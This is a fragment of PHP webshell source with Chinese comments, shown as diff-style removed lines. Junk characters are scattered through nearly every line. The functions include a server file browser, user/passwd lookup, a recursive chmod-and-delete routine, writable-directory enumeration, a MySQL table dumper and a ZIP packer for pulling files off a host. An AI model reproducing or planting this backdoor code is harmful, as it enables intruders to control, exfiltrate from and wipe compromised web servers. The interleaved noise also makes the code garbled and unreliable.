1 N3 t3 V$ [& D* d3 M - $world['execute'] = ($mode & 00001) ? 'x' : '-';
5 k: r4 C" `, l1 ~) Y - 1 E; y# W; ^4 ]- p$ @* j" L
- if( $mode & 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';}+ Y0 ^: t/ a, U4 J5 O
- if( $mode & 0x400 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';}
% w5 r/ G+ I9 Q X+ m `: @ - if( $mode & 0x200 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';}/ ~9 c; m% |0 J
-
1 H% K, ]2 i& b f1 s - return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute'];
6 Y4 V% ` v; C t) T# u - }: z- W& i3 X9 A+ @
-
& T2 u5 N0 U' \* `3 K - function getUser($filepath) {2 q" ^! {& w6 l6 |
- if (function_exists('posix_getpwuid')) {
) x5 x. K8 ^! c6 x T - $array = @posix_getpwuid(@fileowner($filepath));5 `: @) [) b$ k
- if ($array && is_array($array)) {
5 N8 R: k5 q" e. f; S1 g - return ' / <a href="#" title="User: '.$array['name'].'' a' @1 F$ Z. W, u
- Passwd: '.$array['passwd'].'
& e% s0 W- t# j1 S* Q - Uid: '.$array['uid'].'
8 x9 @6 r; d n% k: E - gid: '.$array['gid'].', u; S4 @2 u# R% x+ a5 f; {# d% {' e
- Gecos: '.$array['gecos'].'* |7 f0 E, c0 T2 J8 Z
- Dir: '.$array['dir'].'
# i' L9 l; n) q9 N" Y8 \ - Shell: '.$array['shell'].'">'.$array['name'].'</a>';. c4 w+ X7 x* h% H) O, x& k& l/ y
- } i" M1 S* v; e
- }
$ X6 m5 |3 m0 e: n$ c - return '';
2 R. `2 H* _+ `4 f - }
/ M' v3 o* c* `9 F E6 g0 P- |- l -
1 s s1 S3 e' {, r, X1 v' G - // 删除目录
0 P4 @6 ^! `# Y1 `& n8 [ - function deltree($deldir) {7 L# c! ?4 }1 z; e3 H0 ^8 X
- $mydir=@dir($deldir); 8 j2 p3 u) \+ f1 ]) Y X; T
- while($file=$mydir->read()) { 4 b/ z8 x$ ]9 d7 j: Z
- if((is_dir($deldir.'/'.$file)) && ($file!='.') && ($file!='..')) {
/ [+ ^* M% ^, { - @chmod($deldir.'/'.$file,0777);
; f* g Y3 w3 M- N, B' B, Q6 B - deltree($deldir.'/'.$file);
, e. m) a' {7 b$ ?: C - }
+ F% o- b& h ~# T1 O% d. x0 S - if (is_file($deldir.'/'.$file)) {
7 U9 Y; ~) k0 D H% k - @chmod($deldir.'/'.$file,0777); a6 z! c, d+ J, P
- @unlink($deldir.'/'.$file);# F( ^+ Q: P* `' [
- }
, M' C3 G5 }" j, I- T - }
" k/ i$ [; B, f J* Z/ s - $mydir->close(); 0 V' U3 N/ Q. m2 m. l- n" i2 h' z1 ^/ n
- @chmod($deldir,0777);1 b5 w7 G+ g) H
- return @rmdir($deldir) ? 1 : 0;
/ k7 v; j) o" H3 c5 x, B7 f& e1 A - }
- p! {6 U1 Z5 f - % K8 c P& Z* F. `
- // 表格行间的背景色替换* H2 G) M. L: j0 d7 Q
- function bg() {4 i2 O/ C& U% R: L. M
- global $bgc;
$ h5 D4 R" O3 A - return ($bgc++%2==0) ? 'alt1' : 'alt2';
) A" j' I/ z) A" R- r7 @# d - }, k+ e, Y! M4 x+ D0 L* }* w [3 [
-
M$ n5 Q6 z& g0 x! W - // 获取当前的文件系统路径
- Q" M7 G% w# }9 F' [/ i - function getPath($scriptpath, $nowpath) {( e) P! a5 W8 ^9 |. ] j8 J
- if ($nowpath == '.') {
" y7 U- c3 M$ f* V, P9 a- _" O - $nowpath = $scriptpath;! R( N ]! W4 D# D' Z
- }
: w! {+ h8 Z; y+ k" i2 K: a8 M4 J/ A" u - $nowpath = str_replace('\\', '/', $nowpath);( Y6 U* Z; |; d4 j3 z% h0 Y* y2 I
- $nowpath = str_replace('//', '/', $nowpath);
0 U; W4 J- ?& D3 O6 e" Q, o: p% w6 M) N - if (substr($nowpath, -1) != '/') {, h" w- O6 l' a) n# n# I2 w
- $nowpath = $nowpath.'/';
: c5 x" v9 l$ P0 w5 q2 B: Y - }
1 C$ f8 z: M; J, f0 O9 B - return $nowpath;
0 _' F* H' z% p6 d! O8 D) e - }
8 G4 B+ K1 N4 I! v* G% I -
B4 ^% Y& o! Q) V3 W% \& j9 v - // 获取当前目录的上级目录
) k' p" e0 [: Z+ o& y( b$ `" u* A - function getUpPath($nowpath) {
* m4 L: e: W7 J/ s- d - $pathdb = explode('/', $nowpath);
, u9 U. w, X& _: @/ W- ` - $num = count($pathdb);0 p( Q* ?* V }0 q; I
- if ($num > 2) {
; X1 V7 m8 w" N( C - unset($pathdb[$num-1],$pathdb[$num-2]);4 \6 {8 V' s# d' i* ?$ H
- }# K7 W2 P% W9 }" Z- l" o
- $uppath = implode('/', $pathdb).'/';% L6 Y* @1 A; s( F( O. K+ Y7 E
- $uppath = str_replace('//', '/', $uppath);+ n$ B x* E& X
- return $uppath; u4 y* {* d; P% B0 ^! n
- }
! V& H) ~4 A p& L! O* V - ) A- ^% ?! K& e# c! j
- // 检查PHP配置参数, O) {4 r+ R0 J5 Y3 d
- function getcfg($varname) {# ]" [, L# ~, G A4 O" B3 z- k
- $result = get_cfg_var($varname);" \3 b/ a1 ~0 m" ^/ N
- if ($result == 0) {. ~5 f4 M( L$ ~' z9 O
- return 'No';
3 t0 h* X9 |7 f+ X - } elseif ($result == 1) {9 i, i7 J9 ~9 H/ ]
- return 'Yes';
" p0 D8 T6 g7 ~9 }* | - } else {6 W+ D# h* A+ N1 h
- return $result;) P A& k$ U1 J" m8 P
- }
9 M! I' v8 L% _9 Q - }+ g6 s3 a; M5 o# v9 M- Z5 R+ P: b
- + Q: L, w8 R; g# R0 c3 F+ p! P
- // 检查函数情况% S) A! B$ u( P/ T" C- y f! x# \
- function getfun($funName) {0 U/ O4 J# t' [0 L+ k. o
- return (false !== function_exists($funName)) ? 'Yes' : 'No';9 e _1 D" B! I# {! G" W
- }1 \/ d* x; m+ @6 b& E% q) U
- " w" I: o( d' }% B, a5 p0 B
- function GetList($dir){3 a. N& g# n: x4 ]
- global $dirdata,$j,$nowpath;
7 S& e3 s* T/ i& d! `% q A - !$j && $j=1;
" w0 a- Q2 c5 x6 w4 F+ U. Q - if ($dh = opendir($dir)) {
' p3 ~0 T; j K - while ($file = readdir($dh)) {
, y! y" w" ?0 s( d# l/ i - $f=str_replace('//','/',$dir.'/'.$file);
/ w; [) H9 x1 b+ V6 @7 n - if($file!='.' && $file!='..' && is_dir($f)){. o4 {- t% F. U' x2 Z# ?
- if (is_writable($f)) {
2 E- l4 N4 x! j3 y8 k7 s. p9 @ - $dirdata[$j]['filename']=str_replace($nowpath,'',$f);
1 j) }1 f/ U K) M+ U5 o$ q6 G - $dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));
5 ]+ f, R1 z0 D+ o% y+ w6 S - $dirdata[$j]['dirchmod']=getChmod($f);
9 G. o! @$ k* N$ \! Q# G# |4 j - $dirdata[$j]['dirperm']=getPerms($f);
0 v j5 M$ Q; v' Q - $dirdata[$j]['dirlink']=ue($dir);: I G/ x P$ |6 H
- $dirdata[$j]['server_link']=$f;
" t6 z* L9 G) @; F: H - $dirdata[$j]['client_link']=ue($f);
+ d0 Q4 b% H6 U/ U, h5 x0 l" R+ J - $j++;
3 @' C, M7 p% H& n) Q: O3 i - }0 {& H% X4 w- ]% z& F. C5 N% k$ G7 Y
- GetList($f);
. H8 }: \, J; O1 v5 t2 m - }8 Y, X+ D$ s& x7 w. d+ _9 R
- }
4 T* U9 w; W y" z2 O* p+ h! {& P N - closedir($dh);
* f/ \% V# U! ~4 W - clearstatcache();
2 _, d6 K0 B: O - return $dirdata;2 Y" i9 n+ D5 u$ `7 l+ F& Q7 E
- } else {
* q" Y1 i- I+ i/ k" A6 `& I - return array();
9 A; M3 c# k# x" S& E9 [9 e' v - }
/ C/ v/ q- k: I& G p, o - }3 t* y5 {3 [; q1 A0 \8 i
-
# B0 Z& q8 r; X6 f2 F |* _# P5 i - function qy($sql) { * E, _$ X- l" D. t% G
- //echo $sql.'<br>';1 a$ r, G6 g# Y i+ f' ?8 h
- $res = $error = '';
( L( y) X4 C. @5 S - if(!$res = @mysql_query($sql)) { 2 i4 w( w8 h. _7 y& U( {8 K5 z
- return 0;
; j# {$ S3 O! a - } else if(is_resource($res)) {2 O3 b. h! n& R# V$ B- }
- return 1;
. a9 z% x2 c" E6 E) [& M# s2 V - } else {' h0 E0 Q# _ D- U, q, Y1 \9 p, J5 I
- return 2;6 Q" g6 K; }" O1 H+ P ^5 o: h
- }
6 z, a, S/ B1 n# t/ m - return 0;. b6 k/ t1 ]: g* ?: |8 y. T
- }2 h2 |5 f6 \# V+ N$ i
-
8 ?- t* v. d8 Z2 u5 U% j {7 k/ R! d - function q($sql) { 9 P6 y: k: |. D7 L$ ]
- return @mysql_query($sql);. ^& t- L( g, M. S. E, m# @
- }
" I ]9 H1 d, `8 W& }: K# _, l - , z8 W" M. z: n' y3 ~
- function fr($qy){
. a% F4 e/ v7 A7 K% t2 o - mysql_free_result($qy);
- `! H7 t% P! B) d' Q - }
% {. V' U5 G' I -
. B' A, X! a0 j+ ? - function sizecount($size) {
5 N( y7 s0 H% Z - if($size > 1073741824) {3 X6 w: F5 v" b$ h
- $size = round($size / 1073741824 * 100) / 100 . ' G';/ O0 V1 |7 O4 [1 [& ?+ o
- } elseif($size > 1048576) {
' Y# O. q, v, ~- _ - $size = round($size / 1048576 * 100) / 100 . ' M';4 t# j1 ]4 A' q" \& d
- } elseif($size > 1024) {8 @0 ]% V9 F3 M$ `2 x+ ]& ]$ r+ p( j
- $size = round($size / 1024 * 100) / 100 . ' K';
" o; j! U( {2 D0 M3 P - } else {
' ? \; f4 p$ m9 F - $size = $size . ' B';: R# V) f- T T6 N& S
- }& w' `$ ?3 D) J+ u4 ^7 g
- return $size;
3 U1 _* ^' S! g& M6 Y - }+ v. U; }& x8 Z" n: P2 J
- - O8 }5 W, ]3 S- `! H* G! \
- // 压缩打包类
: c8 r* W. D5 C, g# u; p+ @ - class PHPZip{/ H2 N6 }& a5 N# o" D: N) }/ j
- var $out='';* t; W) W* B# R
- function PHPZip($dir) {
5 {% F/ m6 k3 d6 Y - if (@function_exists('gzcompress')) {! z9 G" d0 b- B8 M$ T; D7 R
- $curdir = getcwd();
3 r6 Y( d) q; B$ g - if (is_array($dir)) $filelist = $dir;- Y: m& k2 F/ E+ t3 h
- else{
: Q; B' k4 [1 V: m/ r - $filelist=$this -> GetFileList($dir);//文件列表, @2 h. l B3 o& B$ U& [
- foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1);- \' ^ K! Z9 O5 D& V
- }
, j. f7 |. I1 ^& O: c0 q* x( t - if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir);7 ?- D2 R- U7 K/ Z' t
- else chdir($curdir);
( ]3 i# n, x2 m, M/ p, Y - if (count($filelist)>0){, h* n# X/ ^$ d! ] d/ L$ g/ |; m
- foreach($filelist as $filename){( o* i' t4 Z7 F' X8 V
- if (is_file($filename)){
- @7 S0 G' j4 m0 e. [ - $fd = fopen ($filename, 'r');9 T+ k1 F6 F& D7 ?: g" P/ T3 `
- $content = @fread ($fd, filesize($filename));: c' w! }- v5 Q5 H' a [# s
- fclose ($fd);# V# x0 t0 b( t8 @+ t4 w& Y s
- if (is_array($dir)) $filename = basename($filename);
6 _) q4 }" g6 t+ y5 U: U - $this -> addFile($content, $filename);; T, E: `. v6 I. t" ^
- }6 p4 f% F' y4 q2 D; u
- }& ?/ o& o+ I6 Y
- $this->out = $this -> file();: T/ M0 S" x& }: [1 f
- chdir($curdir);* p7 Q1 n0 C, l2 E3 Y6 L6 _3 w1 }
- }: g% O' x7 Z% g
- return 1;
+ W. [. N5 T* G* G. ?/ h a - }/ N; e: B6 ? l5 K( C r. |; w
- else return 0;4 ~1 b4 u* d' R& M8 Y8 K: O+ x3 D
- }, z. L/ @' d3 b8 w
-
% [: _ O- g9 u+ r - // 获得指定目录文件列表; _8 `! ?/ S( ?# F
- function GetFileList($dir){
' a& b+ U2 z+ M! ?6 p - static $a;
: b' @, L9 \6 S5 O - if (is_dir($dir)) { A2 \/ A" O' Y9 X' }4 z# L
- if ($dh = opendir($dir)) {
* Y$ h7 z. ^# n+ D0 f - while ($file = readdir($dh)) {' s. Z8 f9 p$ B6 m+ E0 s( v* j
- if($file!='.' && $file!='..'){( V0 ~2 i& M/ G# n
- $f=$dir .'/'. $file;9 }# i" i" ]% t& u% ^- Q
- if(is_dir($f)) $this->GetFileList($f);" o7 x* r0 w+ l. V0 y
- $a[]=$f;& Q. f7 O$ Q8 {# M/ J5 r
- }1 e& B; ?2 K7 e' m) y6 X2 a) D
- }" v5 u# R* D" g
- closedir($dh);& }0 |. q$ `# t. s2 B& B( X1 X
- }( @1 a3 `5 e) u; Z& o/ F2 B, \
- }; i6 w5 D1 E4 l, S# l. i% l9 h
- return $a;
0 U% i/ I# ?; p* ^& [; P) g - }% J* n/ B& n5 ^; @
-
$ \ n Z& [ U, H b; {. c - var $datasec = array();
) c( d2 D M4 i N# ] - var $ctrl_dir = array();
. H; y9 T3 j' V% L! Y) N* V; t - var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
4 G- F* n* z( m( u4 j - var $old_offset = 0;! a, Q* n* h, v/ y2 m& A% Z2 O" q6 f
- 3 C. u5 x+ ~7 Z! r+ H0 C; W/ D8 S. y
- function unix2DosTime($unixtime = 0) {
. b. x, q4 O2 r' Y9 v$ r6 n - $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);; o/ Q: U4 L+ [3 L
- if ($timearray['year'] < 1980) {
9 q: ]4 H& K3 o+ t' h* ]8 i, L1 [6 \ - $timearray['year'] = 1980;7 n1 Z- d4 m4 M L: Y' B9 y) L
- $timearray['mon'] = 1;$ J& s1 J0 p0 @$ Q1 [4 b5 m7 |
- $timearray['mday'] = 1;
0 f2 M7 W6 I S7 ^2 G - $timearray['hours'] = 0;
/ B: ]. U# U2 @" `( e - $timearray['minutes'] = 0;
1 s$ Y0 b& q+ X9 E2 U) Z2 Y$ J) K( b - $timearray['seconds'] = 0;
# U+ A) [# p M1 l - } // end if
6 i) I! ^" R6 @0 e3 o. [( y, |; O - return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |" z y" T; o& F* f
- ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);& Z1 C, e# o; j1 G+ g7 X0 J& l
- }
4 j: d! q. `5 _+ G - function addFile($data, $name, $time = 0) {: D6 z& n# |( A' q5 I
- $name = str_replace('\\', '/', $name);" q5 R2 k- S3 e7 F1 _: d
- $dtime = dechex($this->unix2DosTime($time));
% a5 Z+ s5 t8 ~8 Q9 o - $hexdtime = '\x' . $dtime[6] . $dtime[7]/ N" Z) G( q) H, G% E7 t
- . '\x' . $dtime[4] . $dtime[5]
3 w3 c$ X' f6 y; i5 x" I0 w - . '\x' . $dtime[2] . $dtime[3]( P0 u5 g: \" t4 q5 }
- . '\x' . $dtime[0] . $dtime[1];8 |5 n4 H% y/ b6 a0 X
- eval('$hexdtime = "' . $hexdtime . '";');
5 c4 h; W( \% H4 M7 ~% s - $fr = "\x50\x4b\x03\x04";
/ ]0 W% _. Z5 R! Y( I - $fr .= "\x14\x00";
8 a& ]8 X% t/ F2 {6 y* g - $fr .= "\x00\x00";2 j7 |. A' ?, M$ }9 s6 r! D
- $fr .= "\x08\x00";
+ Q# C( r* h8 U$ e3 Y! H( t - $fr .= $hexdtime;
4 j0 [, j8 j! L% j - $unc_len = strlen($data);$ V t; P- a- u6 X; u4 ^- s: S
- $crc = crc32($data);( J3 Z2 I/ ]% G& n) \3 ^# J
- $zdata = gzcompress($data);
; N3 M2 G# a' m- P. x3 B/ [% g$ T - $c_len = strlen($zdata);
8 B7 `9 c' b( y8 d - $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);& S6 l- o$ U2 I- \" O
- $fr .= pack('V', $crc);* g; w" q4 ?9 v' N( \% I: u2 I
- $fr .= pack('V', $c_len);3 m8 b- _) O7 ]8 t4 n4 m
- $fr .= pack('V', $unc_len);
; J3 B' e6 s$ V+ S - $fr .= pack('v', strlen($name));8 i& E# h) m1 z7 G
- $fr .= pack('v', 0);
8 l9 P3 c4 S/ W/ z4 ] - $fr .= $name;6 x3 p5 c5 i0 I
- $fr .= $zdata;
4 m8 K2 l3 ~. y: u) N - $fr .= pack('V', $crc);
- I5 L2 q( s* ?0 h( ` - $fr .= pack('V', $c_len);: T# l, M* Q3 z# U
- $fr .= pack('V', $unc_len);& x4 q( V8 Y5 Z5 d- C% w
- $this -> datasec[] = $fr;; S- p3 C( i% T+ I
- $new_offset = strlen(implode('', $this->datasec));) }% T- G+ W6 q, \
- $cdrec = "\x50\x4b\x01\x02";
4 e. o: n. F: q' @" z: H7 W& {4 @ - $cdrec .= "\x00\x00";1 B; h' q' o3 D7 P
- $cdrec .= "\x14\x00";
. W- k3 L( ~) p, @& k* }( J, o - $cdrec .= "\x00\x00";+ n. F& I5 z! z) `8 a4 o3 J" c2 Y
- $cdrec .= "\x08\x00";5 [7 [8 g8 B) w3 P
- $cdrec .= $hexdtime; D/ _% k" w8 g4 w+ |
- $cdrec .= pack('V', $crc);+ |0 c! Q! O, M$ |; g
- $cdrec .= pack('V', $c_len);1 I* l8 U' ~/ k, I! Q* M
- $cdrec .= pack('V', $unc_len);! _+ A# K* \! _, h& K/ C
- $cdrec .= pack('v', strlen($name) );
8 e. `1 ]8 L |( Z5 Q3 X - $cdrec .= pack('v', 0 );: F/ v2 V# F2 [! P- J0 n
- $cdrec .= pack('v', 0 );8 w* U1 w. o# o5 S6 ^; @
- $cdrec .= pack('v', 0 );4 z( D0 u& M& ~" h4 D8 `9 a
- $cdrec .= pack('v', 0 );* J+ S! w/ u+ {( t& j1 Z
- $cdrec .= pack('V', 32 );
) |7 o5 t' T3 r9 v - $cdrec .= pack('V', $this -> old_offset );
' G3 m4 }, f, e2 e7 F - $this -> old_offset = $new_offset;' G! o. \+ @0 l( L3 h
- $cdrec .= $name;& q1 W4 Z. L& ^ O
- $this -> ctrl_dir[] = $cdrec;1 m, e& M% \6 |) r5 Q7 G3 {
- }' g; t* ?. y1 A% C
- function file() {2 k! r) F0 @2 O$ l4 O& b6 G
- $data = implode('', $this -> datasec);
I' A0 l/ D' n4 \4 x: z7 [ - $ctrldir = implode('', $this -> ctrl_dir);0 Q$ e0 n2 p$ L" i
- return $data . $ctrldir . $this -> eof_ctrl_dir . pack('v', sizeof($this -> ctrl_dir)) . pack('v', sizeof($this -> ctrl_dir)) . pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00";* L2 {. @6 |: h1 J0 e* A I4 N$ M
- }0 X$ k) g$ y' w) c# U4 r
- }) }$ N# K* r- h6 X- ?& K: Q7 r+ \
- // 备份数据库
( Y& d5 y8 m3 U, b' p - function sqldumptable($table, $fp=0) {% F6 ~& U/ k0 A, b$ H2 j( S/ {
- $tabledump = "DROP TABLE IF EXISTS $table;\n";1 ^- t# M! O( A' x: q3 F/ P7 c
- $tabledump .= "CREATE TABLE $table (\n";8 S/ {$ p# T, ?" n% a2 a8 q
- $firstfield=1;
" {3 T) q/ I; D' |1 n" Q - $fields = q("SHOW FIELDS FROM $table");
R4 ~ I% I+ c - while ($field = mysql_fetch_array($fields)) {8 r H! _$ `% o0 q* u
- if (!$firstfield) { ?% c( n, d1 T2 \/ J7 n
- $tabledump .= ",\n";, g! |( S+ r6 \
- } else {* c+ q/ ?/ S4 {. f
- $firstfield=0;
: Z4 d7 T: y5 {8 v) n; |) ? - }
0 X& ^4 [/ r. ^% f4 q. U8 U - $tabledump .= " $field[Field] $field[Type]";" i0 K% t& k0 P. }+ J( {
- if (!empty($field["Default"])) {
" D; T& A3 P! w7 e8 \ - $tabledump .= " DEFAULT '$field[Default]'";
5 E8 b7 N5 E& p5 u7 S P _9 F* ^ - }% O0 O2 @( A, ~) s/ F
- if ($field['Null'] != "YES") {, L/ b0 A' ?9 L2 u1 N$ u
- $tabledump .= " NOT NULL";
6 n" m0 }( H+ [% W$ H - }
) p: B$ B6 w" n* u% `) H - if ($field['Extra'] != "") {
0 k3 Y- @5 h' I5 y8 ` - $tabledump .= " $field[Extra]";" j. D6 c4 D" t. e- e
- }
8 \; ^' D- e7 {: b, R, r - }
- S2 \) ]% f5 @% u8 g - fr($fields);& B7 N% U; L* X6 |) ^* [
- $keys = q("SHOW KEYS FROM $table");
& o, B. @: U9 o, g& A: o6 W. Y$ ` - while ($key = mysql_fetch_array($keys)) {; l$ ~; Z! c% v
- $kname=$key['Key_name'];: `8 `4 W) H" N9 i8 v3 F
- if ($kname != "PRIMARY" && $key['Non_unique'] == 0) {
3 W0 `. f" W. N - $kname="UNIQUE|$kname";, o" w0 G, s+ v6 m
- }2 }5 Z8 v8 X1 {6 ]: [! t3 d
- if(!is_array($index[$kname])) {
8 \5 F8 s& P9 ]& } - $index[$kname] = array();4 h% e) Y: J. H @
- }
* [8 f1 @7 p1 D! g! D - $index[$kname][] = $key['Column_name']; ]( m: s) A3 T! N7 }' }: E# w: \
- }
4 C, C! c1 G6 ? - fr($keys);
7 @7 d9 f0 C$ [3 Z2 @ - while(list($kname, $columns) = @each($index)) {
' t7 V6 `6 E6 i" p4 b* ~% ` - $tabledump .= ",\n";
0 Z+ o. ?5 Q: P8 ^ - $colnames=implode($columns,",");1 r3 g4 N% v3 r4 @
- if ($kname == "PRIMARY") {
, `9 h8 w: Y# ~* f9 W1 k9 a6 R' L - $tabledump .= " PRIMARY KEY ($colnames)"; @3 E1 h4 v1 f) O* v' c
- } else {- z! R+ D9 S0 [6 @3 v# R; i% E7 H" f
- if (substr($kname,0,6) == "UNIQUE") {! o0 Y8 q/ g) d& a6 X; a/ K
- $kname=substr($kname,7); R3 y& ?/ B! c) f8 x
- }0 o6 X- v" @* n$ q$ m
- $tabledump .= " KEY $kname ($colnames)";% w- m, q4 J: c7 v4 u. |
- }
. ?0 |: d; `, }* Y - } [0 V: U1 G7 x+ }
- $tabledump .= "\n);\n\n";
[, b1 w' Y* d( J/ w3 m - if ($fp) {
, r$ D' S9 M$ L9 x1 C( X$ {' P - fwrite($fp,$tabledump);
$ s; }) S' z; ~; D! l - } else {' V2 r+ f8 L% r' j# Y! O8 J
- echo $tabledump;! X9 ?4 r) X: ~+ v( x! i
- }
4 E9 ]% |# `! C, R - $rows = q("SELECT * FROM $table");) N3 G' Y4 I0 |
- $numfields = mysql_num_fields($rows);
; U" O& V" A9 S. ^& D# ]# H- i - while ($row = mysql_fetch_array($rows)) {
* h, T$ U5 ~: o: [8 S j - $tabledump = "INSERT INTO $table VALUES(";1 o; X. ?5 v: d4 C; o6 U1 X
- $fieldcounter=-1;, u# |0 N6 X D: f% N
- $firstfield=1;4 _/ w. d4 E! M6 h
- while (++$fieldcounter<$numfields) {3 I# W. L& j( F+ J' |
- if (!$firstfield) {# u+ w z$ A+ H9 S: \- ~
- $tabledump.=", ";
9 x; r; d {% o+ Y0 w* E - } else {4 s7 {, @" j A% X) K
- $firstfield=0;
- u& Y; i" G# B; [3 L2 P# m - }
, z& E4 m% E9 N - if (!isset($row[$fieldcounter])) {
+ {& ?1 ^/ @# z$ R - $tabledump .= "NULL";0 e# t4 a5 e: |% _
- } else {
& r3 ?+ b9 g+ f' Y - $tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'";8 y# C9 g* q4 G& d& M- Q- E
- }
. y7 S# i) a0 S+ O, Y5 `! f - }
9 R' e, _$ z0 A& M - $tabledump .= ");\n";& |2 f) J3 L' m! Y. t0 v$ P# s4 u
- if ($fp) {
% S/ J5 \* }! a3 g( j) U - fwrite($fp,$tabledump);' M" M& d+ w+ T" G
- } else {
; U) v# k3 l! J" ^# k - echo $tabledump;- v" j) K( B+ j4 C
- }/ r4 Y i( l, u* l( c
- }' e& \2 B8 m/ b' [/ R6 }
- fr($rows);6 ~' S$ g9 K- s) a& y) Y( ~
- if ($fp) {
; s5 M: m: f8 S0 Q/ ? - fwrite($fp,"\n");: A0 Q! i2 a% A8 ]+ _
- } else {
& t9 ?5 m9 E f# e - echo "\n";
~0 k/ a, w P - }# I! v' a) f l. z
- }) k+ P" P% s+ y* M+ r9 }3 J
- function ue($str){& {# L; ?" n! r$ Y2 L( z. j
- return urlencode($str);
4 y6 u; P! C+ k3 u Q) K1 j - }
0 ~8 i/ ]' {$ J d - function p($str){8 f, y5 e0 \2 K7 g8 n
- echo $str."\n";: N! W Y: |0 ]4 X
- }: v7 B8 N9 s9 }) S4 H
- function tbhead() {
2 M" U- G7 _: ~2 M% ~ - p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');; ]; h" v( s3 @' S7 ^ Y6 u2 i2 q
- }
# d0 q, z9 C* u# [: n4 y4 o) }& p - function tbfoot(){
# P7 F! R2 S% q( ~5 T - p('</table>');
1 L# \; H8 r0 ^) i2 A7 V - }) W0 C0 ?- W! T7 o [
- function makehide($name,$value=''){
' K) N3 M, b# \: v - p("<input id="$name" type="hidden" name="$name" value="$value" />");1 D7 q$ U0 ?9 j6 T: w' g. H, P
- }6 V2 O6 u c: g
- function makeinput($arg = array()){1 ] v1 j/ s1 }4 K2 q
- $arg['size'] = $arg['size'] > 0 ? "size="$arg[size]"" : "size="100"";
5 t" t) ~0 _/ M! ~0 p - $arg['extra'] = $arg['extra'] ? $arg['extra'] : '';- C0 Q8 s7 X4 H# s, C' G
- !$arg['type'] && $arg['type'] = 'text';
. c3 J1 m2 T) t; O1 d$ ?- k - $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
* D6 b" L0 a- W% _6 _ - $arg['class'] = $arg['class'] ? $arg['class'] : 'input';* _9 s* l$ o8 b6 W' C
- if ($arg['newline']) {+ V) O5 f9 w% X8 n/ b
- p("<p>$arg[title]<input class="$arg[class]" name="$arg[name]" id="$arg[name]" value="$arg[value]" type="$arg[type]" $arg[size] $arg[extra] /></p>");
5 o8 V' {8 `3 g1 \: w7 D& s' U - } else {8 Y _& l# X9 c. w- F) ?1 x( P4 g
- p("$arg[title]<input class="$arg[class]" name="$arg[name]" id="$arg[name]" value="$arg[value]" type="$arg[type]" $arg[size] $arg[extra] />");
& @5 n K( Z9 h/ C# C- D - }
6 ^/ v+ j7 n% m9 e$ X - }( J5 Q" B& o, c& I- i% S8 d$ S
- function makeselect($arg = array()){- H- X- Q4 x) z/ O3 d
- if ($arg['onchange']) {
0 A) p% u8 j+ K6 E# p; j, R7 a - $onchange = 'onchange="'.$arg['onchange'].'"';; i3 b- v: T l( N q
- }6 }# R* X+ ]5 B: Q1 U
- $arg['title'] = $arg['title'] ? $arg['title'] : '';
& f. U$ N# P/ y7 q% }. n4 b - if ($arg['newline']) p('<p>');
* S2 u- H9 p" ^ F% C& w# p ^5 o - p("$arg[title] <select class="input" id="$arg[name]" name="$arg[name]" $onchange>");0 f' y3 @0 l# Y E( @
- if (is_array($arg['option'])) {
. d, n7 i$ H6 o- j7 U& W E8 N - foreach ($arg['option'] as $key=>$value) {
; a0 X: x% K. A$ y8 O - if ($arg['selected']==$key) {; [) y. M' b. } W+ ^! @& A/ S
- p("<option value="$key" selected>$value</option>");" b0 m* s5 W, {( g$ L) q
- } else {
- \, a1 ~( M" g$ d3 i - p("<option value="$key">$value</option>");" ]7 `( W1 G6 B: ~
- }! u3 e. z& V5 M- U6 m
- }
4 N* |8 M# ]( S" Q0 S - }% U; P$ Z* ~- B: n
- p("</select>");. v7 G1 t/ p8 Z' ^" p
- if ($arg['newline']) p('</p>');+ ?# h* p* n$ p p9 Z. v
- }
3 |6 K6 O) T2 J0 u, `$ G - function formhead($arg = array()) {( o$ N% }( o5 f' x1 L
- !$arg['method'] && $arg['method'] = 'post';
* g& T2 t! m8 D& {) H( f4 x" C5 Y2 r8 C - !$arg['action'] && $arg['action'] = $self;
0 O9 [/ Z( r7 g - $arg['target'] = $arg['target'] ? "target="$arg[target]"" : '';, F% k/ K w6 m
- !$arg['name'] && $arg['name'] = 'form1';; j; p/ C3 e/ b3 I
- p("<form name="$arg[name]" id="$arg[name]" action="$arg[action]" method="$arg[method]" $arg[target]>");
p' B+ h' c+ C; {8 T; P5 \- b/ ]0 W$ z - if ($arg['title']) {: k6 z( m! U) \
- p('<h2>'.$arg['title'].' »</h2>');$ W3 Q4 x" v! k v
- }9 |3 `+ S$ x! F6 ?
- }
8 A% \, x- e4 T# I# D8 D' e - 2 n7 T" s0 G8 g" z& M& g
- function maketext($arg = array()){$ {: o$ c% q5 V% ` c: \
- !$arg['cols'] && $arg['cols'] = 100;; H# o; }5 R: d. x
- !$arg['rows'] && $arg['rows'] = 25;0 H4 n: k" ?: k
- $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';* n; e( ]: G( }& A1 c7 J
- p("<p>$arg[title]<textarea class="area" id="$arg[name]" name="$arg[name]" cols="$arg[cols]" rows="$arg[rows]" $arg[extra]>$arg[value]</textarea></p>");+ j. s& y2 x- _' M3 u
- }
' l4 G9 b6 E6 Q! C -
* o5 k' z9 [! q2 k$ m6 x; N - function formfooter($name = ''){
* }1 B1 i+ a! \( } - !$name && $name = 'submit';2 n2 c6 ~. v1 E9 g: W8 c
- p('<p><input class="bt" name="'.$name.'" id="'.$name.'" type="submit" value="Submit"></p>');
& A$ o+ n8 q0 n% Z. b - p('</form>');8 {9 h, Y+ M9 \4 b$ {: z
- }9 ^- m6 C1 C- k$ }
-
